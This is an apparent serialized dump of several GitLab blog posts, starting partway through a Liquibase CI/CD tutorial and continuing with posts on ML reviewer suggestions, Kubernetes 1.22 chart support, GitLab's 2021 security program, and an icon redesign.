}\n}\n\n```\n\nNote that the [Liquibase diffChangelog](https://docs.liquibase.com/commands/diffchangelog.html) can help any baseline environments that have drifted. \n\nClicking into the snapshot PROD job example, the snapshot file contains all the current schema changes represented in a JSON file. You can obtain the PROD database snapshot file to compare two states of the same database to protect against malware with drift detection.\n\n```\n58Starting Liquibase at 22:21:32 (version 4.6.1 #98 built at 2021-11-04 20:16+0000)\n59Liquibase Version: 4.6.1\n60Liquibase Pro 4.6.1 by Liquibase licensed to customersuccess until Mon Jun 27 04:59:59 UTC 2022\n61Output saved to /home/gitlab-runner/builds/3-UvD4aX/0/szandany/sql_server/snapshot_PROD.json\n62Liquibase command 'snapshot' was executed successfully. \n64Uploading artifacts for successful job00:01\n70Cleaning up project directory and file based variables00:00\n72Job succeeded\n```\n\n### Congratulations! The pipeline ran successfully.\n\nIf all the jobs are successful, you’ll see a green checkmark right next to each one.\n\nHere’s what your database changes will look like with a database SQL query tool.\n\n![The database](https://about.gitlab.com/images/blogimages/9_Database_Changes_SQL_Query_Tool.png){: .shadow.small.center}\n\n## Summing it up\n\nYou’ve now successfully run Liquibase in a GitLab pipeline to enable true CI/CD for the database. You can easily keep adding more changes to the database by adding more Liquibase changesets to the changelog, commit them to GitLab version control, and repeat the merge request process described in this tutorial to add the changes. \n\nStill have questions or want support integrating Liquibase with your Gitlab CI/CD Pipeline? Our team of database DevOps experts is happy to help! \n\n[Contact Liquibase](https://www.liquibase.com/contact)\n\n[Contact GitLab](/sales/)\n\nContact a [certified GitLab channel partner](https://www.google.com/url?q=https://partners.gitlab.com/English/directory/&sa=D&source=docs&ust=1641393355697069&usg=AOvVaw0R5mPukwMBR2dKsn3eQzqp)\n\nContact a [Liquibase channel partner](https://www.liquibase.com/partners)\n\nOther useful links: \n\n[Gitlab CI/CD setup Liquibase documentation](https://docs.liquibase.com/concepts/installation/setup-gitlab-cicd.html)\n\n[GitLab - Liquibase repository](https://gitlab.com/gitlab-com/alliances/liquibase/sandbox-projects/liquibasegitlabcicd/-/blob/master/README.md) \n\nGet a [speedy, secure database developer flow](https://www.liquibase.com/blog/secure-database-developer-flow-using-gitlab-pipelines) using GitLab pipelines & Liquibase\n\n_Author Tsvi Zandany is a Senior Solutions Architect at Liquibase_\n",[232,1384,1385],{"slug":15929,"featured":6,"template":678},"how-to-bring-devops-to-the-database-with-gitlab-and-liquibase","content:en-us:blog:how-to-bring-devops-to-the-database-with-gitlab-and-liquibase.yml","How To Bring Devops To The Database With Gitlab And Liquibase","en-us/blog/how-to-bring-devops-to-the-database-with-gitlab-and-liquibase.yml","en-us/blog/how-to-bring-devops-to-the-database-with-gitlab-and-liquibase",{"_path":15935,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15936,"content":15941,"config":15946,"_id":15948,"_type":16,"title":15949,"_source":17,"_file":15950,"_stem":15951,"_extension":20},"/en-us/blog/the-road-to-smarter-code-reviewer-recommendations",{"title":15937,"description":15938,"ogTitle":15937,"ogDescription":15938,"noIndex":6,"ogImage":15333,"ogUrl":15939,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15939,"schema":15940},"The road to smarter code reviewer recommendations","Machine learning is coming to GitLab's code review process. Here's what you need to know, and how you can help!","https://about.gitlab.com/blog/the-road-to-smarter-code-reviewer-recommendations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The road to smarter code reviewer recommendations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2022-01-04\",\n      }",{"title":15937,"description":15938,"authors":15942,"heroImage":15333,"date":15943,"body":15944,"category":962,"tags":15945},[6860],"2022-01-04","\nYou may recall back in June 2021, we [announced the acquisition of UnReview](/press/releases/2021-06-02-gitlab-acquires-unreview-machine-learning-capabilities/), a machine learning (ML) based solution for automatically identifying appropriate expert [code reviewers](/stages-devops-lifecycle/create/) and controlling review workloads and distribution of knowledge.\n\nAt the start of the new year we wanted to provide an update on our integration progress and our wider vision of leveraging machine learning to make GitLab's [DevOps Platform](/solutions/devops-platform/) smarter. You see, the acquisition of UnReview also was the initial staffing of [our new ModelOps stage](/direction/modelops/).\n\n### Our Newest DevOps Stage\n\nThis new stage, which we’ve named ModelOps, is focused on enabling and empowering data science workloads on GitLab. GitLab ModelOps aims to bring data science into GitLab both within existing features to make them smarter and more intelligent, but also empowering GitLab customers to build and integrate data science workloads within GitLab.\n\nSo what is ModelOps you may wonder? We view ModelOps as an all encompassing term to cover the entire end to end lifecycle of artificial intelligence models. We wanted to set our vision wide to fully cover everything needed to power data science workloads. DataOps is the processing of data workloads (think traditional ELT: extract, load, transform) and MLOps is the building, training, and deployment of machine learning models. If you’re confused don’t worry, it’s a lot to wrap your head around.\n\n![a look at the stages of MLOps](https://about.gitlab.com/images/blogimages/MLops.png){: .shadow.small.center}\n\nToday our DevOps Platform helps plan, build, test, secure, deploy, and monitor traditional software. Now we want to extend our DevOps Platform to include AI and ML workloads. If this is interesting to you, be sure to check out our recent Contribute talk where we dive deeper into plans for our ModelOps stage.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/C08QVI99JLo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### UnReview as our first feature\n\nSo what does this have to do with UnReview? Our acquisition of UnReview is going to be our first [AI Assisted](/direction/ai-powered/) group’s feature: suggested reviewers within [GitLab’s existing reviewers experience](/blog/merge-request-reviewers/). Today, a developer in a merge request has to manually choose a reviewer to look at their code. With UnReview we can leverage the contribution history for a project and recommend someone well-suited for code review of your specific changes.\n\nHere’s an early mockup (and it may differ from our final UI) of how we’re thinking about this integration:\n\n![an early mockup of our UI](https://about.gitlab.com/images/blogimages/codereviewmockup.png){: .shadow.small.left}\n\nThe UnReview algorithm looks at a variety of data points from your project’s contribution history to suggest an appropriate reviewer. We’re still in the early days of this integration but our initial internal testing shows great suggestions.\n\n### Customer beta coming soon!\n\nThis leads me to a final question, might you want to be one of our first customers to try this new code review experience? In early 2022, we’ll begin a private customer beta of this new functionality. If interested, [fill out this form to express interest](https://docs.google.com/forms/d/e/1FAIpQLScpmCwpwyBr0GrXxBQ6vE02eokclFAs9lFk_g5dcyuGaHqFuQ/viewform). Do note that we can’t accept everyone and we’ll focus initially on customer profiles that are well suited for the initial version of the suggestion algorithm. Our only ask is we’d like to find customers with active projects that have a healthy number of contributors. The model currently works best on larger repositories with lots of contributors where it may not immediately be clear who is an ideal code reviewer.\n\nWe can’t wait for customers to begin using this new reviewer suggestion experience and will be providing more updates in early 2022.\n",[4103,232,1444,790],{"slug":15947,"featured":6,"template":678},"the-road-to-smarter-code-reviewer-recommendations","content:en-us:blog:the-road-to-smarter-code-reviewer-recommendations.yml","The Road To Smarter Code Reviewer Recommendations","en-us/blog/the-road-to-smarter-code-reviewer-recommendations.yml","en-us/blog/the-road-to-smarter-code-reviewer-recommendations",{"_path":15953,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15954,"content":15959,"config":15964,"_id":15966,"_type":16,"title":15967,"_source":17,"_file":15968,"_stem":15969,"_extension":20},"/en-us/blog/gitlab-chart-works-towards-kubernetes-1-22",{"title":15955,"description":15956,"ogTitle":15955,"ogDescription":15956,"noIndex":6,"ogImage":14039,"ogUrl":15957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15957,"schema":15958},"GitLab Chart works towards Kubernetes 1.22","New minimum version is 1.19 for in-chart NGINX Ingress Controller.","https://about.gitlab.com/blog/gitlab-chart-works-towards-kubernetes-1-22","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Chart works towards Kubernetes 1.22\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-17\",\n      }",{"title":15955,"description":15956,"authors":15960,"heroImage":14039,"date":15961,"body":15962,"category":734,"tags":15963},[711],"2021-12-17","\n\nWe are working to make the GitLab Chart and the GitLab Operator support Kubernetes 1.22, which requires updating the NGINX Ingress Controller used within the Chart and Operator.\n\nThis update requires that we drop support for versions of Kubernetes prior to 1.19 if using the in-chart NGINX Ingress Controller. Users that still require support for Kubernetes 1.18 and prior releases will only be able to deploy up to Chart version 5.5.x.\n\n## More details on the changes\n\nGitLab uses a [forked version](https://docs.gitlab.com/charts/charts/nginx/fork.html) of the community-supported ingress-nginx Chart to expose the GitLab components via Ingresses. \n\nSupporting Kubernetes 1.22 requires updating the included NGINX Ingress Controller to [version 1.0.4](https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.0.4) in order to support the networking.k8s.io/v1 API in Kubernetes 1.22. The previous networking API (networking.k8s.io/v1beta1) has been deprecated since Kubernetes 1.19 and removed in Kubernetes 1.22.\n\nAs a result of the upgrade, we are bound to the breaking change of NGINX Ingress Controller, removing support before Kubernetes 1.19. They provide more clarification in [their FAQ](https://kubernetes.github.io/ingress-nginx/#faq-migration-to-apiversion-networkingk8siov1).\n\nThe forked ingress-nginx Chart is based on [version 4.0.6](https://artifacthub.io/packages/helm/ingress-nginx/ingress-nginx/4.0.6) of ingress-nginx/ingress-nginx, which uses [version 1.0.4](https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.0.4) of the NGINX Ingress Controller.\n\n## Who is impacted\n\nAny deployment which is making use of the NGINX Ingress Controller provided by the GitLab Chart. This covers most, but far from all, users of our Helm Chart and Operator. If you are using an alternate Ingress provider (such as AWS ALB, Azure Application Gateway, or Google GCE Ingress), you will not be affected.\n\n## What to expect\n\nWe recognize that this change may have unintended effects, but most GitLab instances will seamlessly transition to the new NGINX Ingress Controller without incident. As always, we recommend a backup be created prior to upgrading the GitLab Chart or GitLab Operator, which will allow your data to be safeguarded should a recovery be necessary, caused by complications in the upgrade.\n\nDepending upon the environment and/or cloud provider, it is possible that when NGINX Ingress Controller is replaced during the upgrade process that the IP addresses associated with the Ingresses may change. This may require that the DNS records for the GitLab instance be updated if a controller such as external-dns is not managing the DNS records. The DNS records related to the following Ingress objects may be affected:\n\n* gitlab.\n* registry.\n* minio. (if used)\n* kas. (if used)\n\nIf the GitLab Pages component is enabled, there may be other DNS records that will need to be updated to connect to the proper Ingress.\n\n## What if there is a problem with the upgrade?\n\nWhile it is not expected that an upgrade will cause a problem, not all environments or configurations can be anticipated. In the event that there is an upgrade problem, please contact GitLab Support if you are a licensed customer. If you are running the Community Edition of GitLab, please open an issue in the [GitLab Chart](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/new?issue%5Bmilestone_id%5D=) or [GitLab Operator](https://gitlab.com/gitlab-org/cloud-native/gitlab-operator/-/issues/new?issue%5Bmilestone_id%5D=) projects.\n",[4103,1444,2509],{"slug":15965,"featured":6,"template":678},"gitlab-chart-works-towards-kubernetes-1-22","content:en-us:blog:gitlab-chart-works-towards-kubernetes-1-22.yml","Gitlab Chart Works Towards Kubernetes 1 22","en-us/blog/gitlab-chart-works-towards-kubernetes-1-22.yml","en-us/blog/gitlab-chart-works-towards-kubernetes-1-22",{"_path":15971,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15972,"content":15978,"config":15982,"_id":15984,"_type":16,"title":15985,"_source":17,"_file":15986,"_stem":15987,"_extension":20},"/en-us/blog/gitlab-security-twenty-twenty-one",{"title":15973,"description":15974,"ogTitle":15973,"ogDescription":15974,"noIndex":6,"ogImage":15975,"ogUrl":15976,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15976,"schema":15977},"GitLab Security in 2021: protect, enhance, certify and strengthen","Join our Security team as we review how we worked to keep GitLab, and our community, secure this past year.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670795/Blog/Hero%20Images/security-year-in-review-2021.png","https://about.gitlab.com/blog/gitlab-security-twenty-twenty-one","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security in 2021: protect, enhance, certify and strengthen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johnathan Hunt\"}],\n        \"datePublished\": \"2021-12-17\",\n      }",{"title":15973,"description":15974,"authors":15979,"heroImage":15975,"date":15961,"body":15980,"category":674,"tags":15981},[14910],"\n\n2021 has turned out to be another … interesting year, especially for those of us in the security industry.  Like so many software companies in the business, much of our recent focus has shifted to collective, cross-organizational research efforts to identify, mitigate and help resolve the threat posed by the Log4j vulnerability (See [our response](/blog/updates-and-actions-to-address-logj-in-gitlab/), as well as our post where we detail [how to use GitLab to detect Log4j vulnerabilities](/blog/use-gitlab-to-detect-vulnerabilities/)).  \n\nThankfully though, 2021 was also focused on growing the Security department and adding additional teams and roles, bolstering enterprise SaaS security, reducing our threat landscape with improvements to supply chain security and APT threat protection, and fulfilling our mission of working to enable GitLab to succeed in the most secure way possible (see our [vision and mission statements](/handbook/security/#-security-vision-and-mission)). We achieved impressive results through expansion of our security third-party certification and self-attestation portfolio, contribution of GitLab and customer impacting product security features and improved security across all teams and domains in our security program. Our security teams also focused on improving processes and programs that enable customers on their trust journey, educate and engage team members to contribute toward improving our security posture, and encourage and enable collaboration from our community to strengthen GitLab. These efforts have been successful due to the contributions of our talented and dedicated Security team members, as well as the groups and individuals we partner with each day; including our wider community. THANK YOU for making GitLab stronger! \n\n## Improving assurance for the GitLab community\n\nOur [Security Assurance sub-department](/handbook/security/security-assurance/) spent the last year working across our organization to pursue and complete certifications, test and strengthen governance, assess and manage risk, and provide overall support and enablement to GitLab teams and our customers through a number of initiatives.\n\n### Certification portfolio expansion \n\nOur Security Assurance team built on a [successful 2020](/blog/how-we-made-gitlab-more-secure-in-twenty-twenty/) by focusing on our ambitious pursuit of [compliance certifications](/handbook/security/security-assurance/security-compliance/certifications.html) with the issuance of GitLab’s first [SOC 2 Type 2/SOC 3 reports](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/serviceorganization-smanagement) for the Security [Trust Service Criteria (TSC)](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/trustdataintegritytaskforce) dated December 2020. Then, to support customers who need reports by the end of the calendar year, we adjusted our 2021 SOC reporting period to end on October 31st. For our most recent SOC reports we also added the [Confidentiality TSC](/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria/) to further highlight the maturity of our operating environment. \n\nIn addition, we delivered our very first [ISO/IEC 27001:2013 certification](https://www.globenewswire.com/en/news-release/2021/12/15/2352975/0/en/A-Compliance-Win-GitLab-Inc-Successfully-Achieves-ISO-IEC-27001-2013-Certification.html) in 2021. Certification against this highly-regarded baseline security standard recognizes our proven commitment to the highest level of information security management.\n\nLastly, in alignment with our continued commitment to transparency we publish all of our security certifications and attestation as part of GitLab’s [Customer Assurance Package](/security/cap/) (learn more below). \n\n### True, continuous control monitoring  \n\nOur [Security Compliance team](/handbook/security/security-assurance/security-compliance/) upgraded our [GitLab Control Framework (GCF)](/handbook/security/security-assurance/security-compliance/sec-controls.html) in 2021 by adopting the Secure Control Framework (SCF) and moving into a [new GRC tool: ZenGRC](/handbook/business-technology/tech-stack/#zengrc). This upgraded control framework has increased testing efficiency and allowed GitLab to achieve our external compliance and regulatory obligations with minimized impact to our teams. This, along with our system/profile-based approach to testing, enabled us to achieve [successful external audits](/handbook/security/security-assurance/security-compliance/certifications.html) and the implementation of strong [IT general controls (ITGCs) for SOX](/handbook/business-technology/it-compliance/ITGC.html) with a small [team of highly-skilled compliance engineers](/company/team/?department=security-assurance).\n\nWe believe our approach to control monitoring has a natural bias towards automation which allows our program to scale, along with GitLab. We’ve continued automating our compliance and regulatory workflows and, where possible, testing evidence as we work towards true continuous control monitoring with proactive alerting of control risks.\n\n### Next generation customer assurance services \n\nOur [Field Security team](/handbook/security/security-assurance/field-security/) deployed [GitLab’s Trust Center](/security/) and next generation Customer Assurance Package to further support our customers on their GitLab trust journey. As part of this effort we expanded our Customer Assurance Package to include the [Standard Information Gathering (SIG) Lite](https://sharedassessments.org/sig/) pre-completed questionnaire, completed an [ISO 20243 Self-Assessment](https://certification.opengroup.org/register/ottps-certification) for both our SaaS and Self-Managed service offerings, and became a [CSA STAR Trusted Cloud Service Provider](https://cloudsecurityalliance.org/star/registry/gitlab/). To support this program internally we dogfooded GitLab’s [Service Desk module](https://docs.gitlab.com/ee/user/project/service_desk.html) to deliver a more efficient way of monitoring, completing and responding to customer assurance requests. \n\nFor this group, 2022 will bring a heavy focus on tooling and automation in support of continued control monitoring, certification expansion and regulated market specialization. \n\n**Note:** Shout out to [@mmaneval20](/company/team/#mmaneval20), [@jburrows001](/company/team/#jburrows001), [@tdilbeck](/company/team/#tdilbeck) and [@julia.lake](/company/team/#Julia.Lake) who provided content for this section!\n{: .note} \n\n## Shoring up our defenses\n\nOur team of [“breakers, builders, and defenders”](/handbook/security/security-operations/#mission) in our [Security Operations sub-department](/handbook/security/#protect-the-company---the-security-operations-sub-department) were *quite* busy this year identifying, preventing, detecting and responding to risks and security events targeting GitLab, our users and the business.\n\n### Identify, analyze and minimize the threat\n\nTo enhance visibility and increase protection of our ever-growing laptop fleet, our [Security Incident Response Team(SIRT)](/handbook/security/security-operations/sirt/) completed early testing of multiple endpoint detection and response platforms this year. After our [IT Ops team](/handbook/business-technology/team-member-enablement/#sts=IT%20Ops) successfully deployed our solution, our SIRT team took over support for the tool and owns the endpoint incident response lifecycle. Alerts from the platform have helped to identify possible issues and allow us to respond quickly to keep GitLab secure. Future plans currently include proactive threat hunting and creating advanced detection mechanisms based on available data points.\n\n### Security automation to address that ever-increasing threat landscape \n\nTo ensure our team’s ongoing incident response efforts are effective against the expanded attack surface and threat landscape that comes with our continued growth and expansion, we’re onboarding incident response automation. This solution has enabled us to automate the handling of reported phishing emails, user attestation on GCP documents access, and the assignment of appropriate response priority level via an incident severity calculator. These enhancements allow our engineers to focus on incident response and devising solutions to more complex issues and incidents.   \n\n### Strengthening GitLab’s security in the shadows\n\nAs for our [Red Team](/handbook/security/threat-management/red-team/), they continued toeing the line of that ever-present balancing act between their stealth, exploratory testing and their commitment to GitLab’s value of transparency; all while helping GitLab implement effective cyber defenses. They held an external-facing [AMA this year in which they answered many questions from our community](/blog/you-asked-and-our-red-team-answered/) and [shared tips on how developers can secure themselves against RCE drive-by attacks](/blog/why-are-developers-vulnerable-to-driveby-attacks/); including details on a real-life disclosure on the GitLab GDK and shared our expertise surrounding offensive and defensive perspectives of attacks hiding malicious code in #OSS contributions at BlackHat Europe with [\"Picking Lockfiles: Attacking & Defending Your Supply Chain\"](https://www.blackhat.com/eu-21/briefings/schedule/#picking-lockfiles--attacking--defending-your-supply-chain-24844). And, much more … which we can’t talk about 😉 😎 .\n\n**Note:** Shout out to [@hasharma](/company/team/#hasharma), [@mjozenazemian](/company/team/#mjozenazemian), [@smanzuik](/company/team/#smanzuik), [@vmairet ](/company/team/#vmairet) and [@blutz1 ](/company/team/#blutz1) who provided content for this section! \n{: .note} \n\n## Strengthening and securing GitLab the product\n\nOur [Security Engineering sub-department](/handbook/security/security-engineering/) endeavors to ensure all aspects of GitLab that are exposed to customers or that host customer data are held to the highest security standards, and to be proactive and responsive to ensure the security of anything GitLab offers. Throughout the year, this group collaborates with teams across the organization, and beyond with the GitLab community, to support our business and their bid to ensure that all GitLab products securely manage customer data.\n\n### Enhance the product with new tooling: Spamcheck and Package Hunter\n\nLast year we blogged about [how we work to detect and mitigate spam on GitLab.com](/blog/how-we-work-to-detect-and-mitigate-spam/). This year our [Security Automation team](/handbook/security/security-engineering/automation/) worked closely with the GitLab Trust and Safety team to [introduce Spamcheck](/blog/introducing-spamcheck-data-driven-anti-abuse/), our new anti-spam engine that has been enabled for all projects on GitLab.com and we're targeting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259). By allowing us to better detect and prevent spam, we believe Spamcheck has significantly improved GitLab’s resilience to it. We recently blogged about the [technical decisions behind Spamcheck](/blog/deep-dive-tech-stack-behind-spamcheck/), as well as some of the early performance data points. You can also check out the [code behind Spamcheck](https://gitlab.com/gitlab-org/spamcheck).\n\nIn July 2021, the GitLab [Security Research team](/handbook/security/security-engineering/security-research/) [released Package Hunter](/blog/announcing-package-hunter/), a tool that helps identify malicious dependencies via runtime monitoring. Powered by [Falco](https://falco.org/), Package Hunter installs a program’s dependencies in a sandbox environment and analyzes system calls for malicious code and other unexpected behavior. Testing of NodeJS and Ruby Gems is currently supported. The project is [open source](https://gitlab.com/gitlab-org/security-products/package-hunter) and we are continually working to improve upon it. Community contributions and feedback are very much welcome!\n\n### Risk reduction and vulnerability management\n\nScaling our [Application Security](/handbook/security/security-engineering/application-security/) efforts has been a big priority for our teams. Again, the key to [doing so successfully is thru automation](/handbook/security/security-engineering/application-security/inventory/), particularly when it comes to keeping track of a growing list of codebases that are constantly changing, adding new components, and relying on different dependencies. For this reason we’re very excited about the progress that has been made on the [GitLab Inventory Builder](https://gitlab.com/gitlab-com/gl-security/engineering-and-research/gib/), a very handy tool capable of generating and maintaining a complete list of projects and their dependencies hosted on GitLab.com or self-hosted instances. This is also our first iteration of using policy-as-code to monitor and control various aspects of our projects. Not only can we track where security scans are not well configured, but we believe we can also spot project configuration issues precisely. With the automatic creation of violation issues in GitLab, we can organize, track, and scale the work of our Security Engineers more efficiently. Take a look at this [live action demo](https://gitlab-com.gitlab.io/gl-security/engineering-and-research/inventory-example/) and view the [example code supporting it](https://gitlab.com/gitlab-com/gl-security/engineering-and-research/inventory-example) for more information!\n\nDuring 2021 we bootstrapped our [Infrastructure Security team](/handbook/security/security-engineering/infrastructure-security/) and program. This new team works as a stable counterpart to the Infrastructure team and collaborates across Infrastructure and Security to help identify and mitigate security issues, vulnerabilities, and misconfigurations by applying their in-depth knowledge of operating systems, infrastructure, and cloud providers. With this new team and program we’ve bolstered our security observability, added an operating system instrumentation platform, enhanced monitoring, and created an analytics framework for our hosts; all of which help give us insight into all aspects of our production systems. We’ve also deployed an intuitive security graph tool across our cloud platforms that inventories all of our assets and shows the connections between them, but also enables querying based on various metadata. We believe these efforts have already resulted in significant security risk reduction, enhanced vulnerability management, increased observability, and granular monitoring capabilities. \n\nTo help team members understand the security implications of the systems and features they design and work on, this year our team formalized and integrated a [threat modeling process](/handbook/security/threat_modeling/) here at GitLab. Building upon the [evidence driven threat modeling approach that we started working towards adopting last year](/handbook/security/threat_modeling/#the-framework), we’ve iterated on the threat modeling processes and tooling in order to increase adoption, usage, and understanding across GitLab teams. We’ve also added [issue templates](https://docs.gitlab.com/ee/user/project/description_templates.html#create-an-issue-template) to our internal threat modeling repository and improved upon our [threat modeling runbook](/handbook/security/security-engineering/application-security/runbooks/threat-modeling.html). We talk about some of the basics of threat modeling and [how we’ve developed a framework that will work for GitLab in our blog](/blog/creating-a-threat-model-that-works-for-gitlab/).\n\n### Strengthening our product through global expertise and contributions\nThis past year we received 752 reports from 404 talented bug bounty reporters from all across the globe who helped us to strengthen our product through the identification of security vulnerabilities. \n\nIn February, we moved to a managed bug bounty program with [HackerOne](https://hackerone.com/gitlab). This enables us to scale our report triage process, filter out the noise, and ultimately present the most important reports to our development teams faster. In November, we kicked off, [“Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel“](/blog/3rd-annual-bug-bounty-contest), announced a near double in [bounty rewards and detailed our move to standardize bounty payments by using CVSS along with a [nifty CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/#). This program, and the amazing bug bounty hunters who contribute to it, continue to raise GitLab’s security bar and reduce risk for our customers. You can read more about what happened in our bug bounty program this past year in [“2021: Smashing bugs and dropping names”](https://about.gitlab.com/blog/smashing-bugs-and-dropping-names-in-2021/).\n\n**Note:** Shout out to [@ankelly](/company/team/#ankelly), [@jritchey](/company/team/#jritchey), [@plafoucriere](/company/team/#plafoucriere), [@heather ](/company/team/#heather) and [@laurence.bierner](/company/team/#laurence.bierner) who provided content for this section! \n{: .note} \n\n## Everyone can contribute…to Security\n\nWhen we say that [Security is a team effort](https://about.gitlab.com/direction/security/#security-is-a-team-effort), we mean it.  These three sub departments, and the 12 teams that sit within them work collaboratively (and sometimes tirelessly) with dozens of teams across GitLab, and community members, to keep GitLab secure and protect our company, the community and our customers.   Thank you to everyone who contributes here and best wishes for a safe, healthy and happy 2022! 🥂\n\n",[674],{"slug":15983,"featured":6,"template":678},"gitlab-security-twenty-twenty-one","content:en-us:blog:gitlab-security-twenty-twenty-one.yml","Gitlab Security Twenty Twenty One","en-us/blog/gitlab-security-twenty-twenty-one.yml","en-us/blog/gitlab-security-twenty-twenty-one",{"_path":15989,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15990,"content":15995,"config":15999,"_id":16001,"_type":16,"title":16002,"_source":17,"_file":16003,"_stem":16004,"_extension":20},"/en-us/blog/hey-icons-lighten-up",{"title":15991,"description":15992,"ogTitle":15991,"ogDescription":15992,"noIndex":6,"ogImage":14571,"ogUrl":15993,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15993,"schema":15994},"Hey icons, lighten up","Icons can be better, here's how.","https://about.gitlab.com/blog/hey-icons-lighten-up","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hey icons, lighten up\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2021-12-17\",\n      }",{"title":15991,"description":15992,"authors":15996,"heroImage":14571,"date":15961,"body":15997,"category":299,"tags":15998},[4182],"\n\nAround this time a few years ago, I had the opportunity to bring more consistency and rigor to GitLab’s product icons, and ever since then I’ve been working through the next iteration. You can read more about the previous effort in this post, [GitLab Iconography: MVC meets visual design](/blog/gitlab-iconography-where-mvc-meets-visual-design/). Today, though, the next iteration is here, and I’d like to briefly share a bit of what went into it.\n\nFirst up, a little housekeeping. Changes to a user interface (UI) can be highly subjective, and while I don’t think preference will or should ever be eliminated, it shouldn’t be the driving factor for change. To that end, we always take a thoughtful approach to any change in the GitLab UI. And in the spirit of iteration, I think my colleague, Tim Noah, put it best when he said that we’re privileged to “work on the ink that never dries.” This isn’t the first iteration, and it certainly won't be the last.\n\n## Icons can be better\n\nWhile there’s more nuance than I can unpack here, at a high level the problem we faced was this: *Icons can be better*. And *better* isn’t that subjective after all; it’s measurable.\n\nTo name a few things, icons can:\n\n- Be more balanced with other UI elements.\n\n- Better align with the brand.\n\n- Be constructed to be more future-proof and available for further iteration.\n\n- Work well in both light and dark UI.\n\n- Better convey abstract concepts and metaphors.\n\n## Choosing what to change\n\nHistorically, our product icons had most commonly used a 16-pixel grid and 2-pixel stroke. In a condensed UI, space is at a premium, and there’s a careful balance to strike between helpfulness and distraction. This isn’t a site where icons are visual anchors and decoration. This is a complex application where icons perform tasks and indicate status and state. They should be available when you need them, but not in the way when you don’t.\n\nSince each icon concept and metaphor can be evaluated on its own, and the grid size was out of scope, I focused on a single shared attribute that relates to all of the ways we determined icons could be better: the stroke weight. Seriously, though, a seemingly trite attribute can have that much impact. Instead of the previous 2-pixel stroke, the icons now use a 1.5-pixel stroke. It turns out that half of a pixel is a big deal.\n\n![Before and after icon comparison in light and dark UI](https://about.gitlab.com/images/blogimages/light-icons/light-icons-before-after.png){: .medium.center}\nBefore (top) and after icon comparison in light and dark UI\n{: .note.text-center}\n\n## Exploring the benefits\n\nHere are some of the benefits we’re starting to experience as a result:\n\n- Because minor icon differences and details are now more distinguishable, our icons have better fidelity. That makes a big difference when a metaphor may fall short with less detail.\n\n- GitLab uses system fonts, and the updated icons match the weight of a regular sans-serif font at body size (the most common font in our UI). Icons don’t compete with the text as much, and there’s a better balance of visual weight.\n\n- For users who experience visual impairments, UI elements can appear blurry. With more negative space in the icons, there’s less opportunity for elements within each icon to blend together and become indistinguishable.\n\n- In a dark UI, the light emitted from an element tends to bleed into surrounding pixels. This creates a ghosting effect and makes the element feel visually heavier than it is. A lighter stroke weight can help offset this effect and make the dark UI as balanced as its light counterpart.\n\n- Previously, we went with a 2-pixel stroke weight, because there was still a significant percentage of users with standard resolution monitors. This meant that we weren’t comfortable with making the leap to aesthetics that favored higher-resolution displays, because a 1.5-pixel stroke could have appeared blurry for many users. Based on current analytics, though, we no longer feel constrained by display resolution and have solved our half-pixel alignment concerns.\n\n- Icons feel more consistent, polished, and on brand than before. They also share more characteristics with the marketing iconography.\n\n- Getting an icon asset ready for production used to mean that we needed an original layered version and another outlined version to export. We create GitLab product icons in Figma, so we can now leverage their boolean unions to keep all icons in an editable state and export a single pathed SVG from the same layers. This is a huge efficiency gain and also makes it easier to create differently sized icon sets, if we need to. We’re also leveraging reusable icon elements as components to help propagate changes.\n\n- Lastly, on a more subjective point, the UI in general feels lighter and more modern, both of which are desirable outcomes and something we’ll continually work towards with other parts of the UI.\n\n![Before and after icon comparison in GitLab's navigation](https://about.gitlab.com/images/blogimages/light-icons/light-icons-nav.png){: .medium.center}\nBefore (left) and after icon comparison in the navigation\n{: .note.text-center}\n\n## What’s trending\n\nDo a quick search, and you’ll find that this road has been traveled before, with product after product making the shift to lighter icons. At first, it might seem like this is another UI trend to chase, but look a little closer and you’ll find that the real trend is to create a better user experience. And that’s a trend we’re happy to chase all day.\n",[2248,2250,2249],{"slug":16000,"featured":6,"template":678},"hey-icons-lighten-up","content:en-us:blog:hey-icons-lighten-up.yml","Hey Icons Lighten 